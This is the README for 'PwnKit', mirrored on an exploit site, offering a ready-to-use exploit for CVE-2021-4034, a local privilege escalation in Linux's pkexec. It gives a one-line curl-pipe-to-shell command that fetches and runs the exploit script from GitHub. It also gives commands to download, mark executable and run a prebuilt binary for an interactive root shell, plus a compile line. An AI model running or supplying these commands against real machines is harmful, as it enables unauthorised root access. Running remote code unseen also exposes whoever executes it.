Share
## https://sploitus.com/exploit?id=5CEFC968-CC34-5896-BE86-5F94DB97D577
# PwnKit

Self-contained exploit for CVE-2021-4034 - Pkexec Local Privilege Escalation

## Usage

Should work out of the box on vulnerable Linux distributions based on Ubuntu, Debian, Fedora, and CentOS.

```bash
sh -c "$(curl -fsSL https://raw.githubusercontent.com/b1gn0se/PwnKit_CVE-2021-4034/main/PwnKit.sh)"
```

### Manually

```bash
curl -fsSL https://raw.githubusercontent.com/b1gn0se/PwnKit_CVE-2021-4034/main/PwnKit -o PwnKit
chmod +x ./PwnKit
./PwnKit # interactive shell
./PwnKit 'id' # single command
```

### Build

```bash
gcc -shared PwnKit.c -o PwnKit -Wl,-e,entry -fPIC
```

## Technical Details

- https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034

## References

- https://github.com/arthepsy/CVE-2021-4034/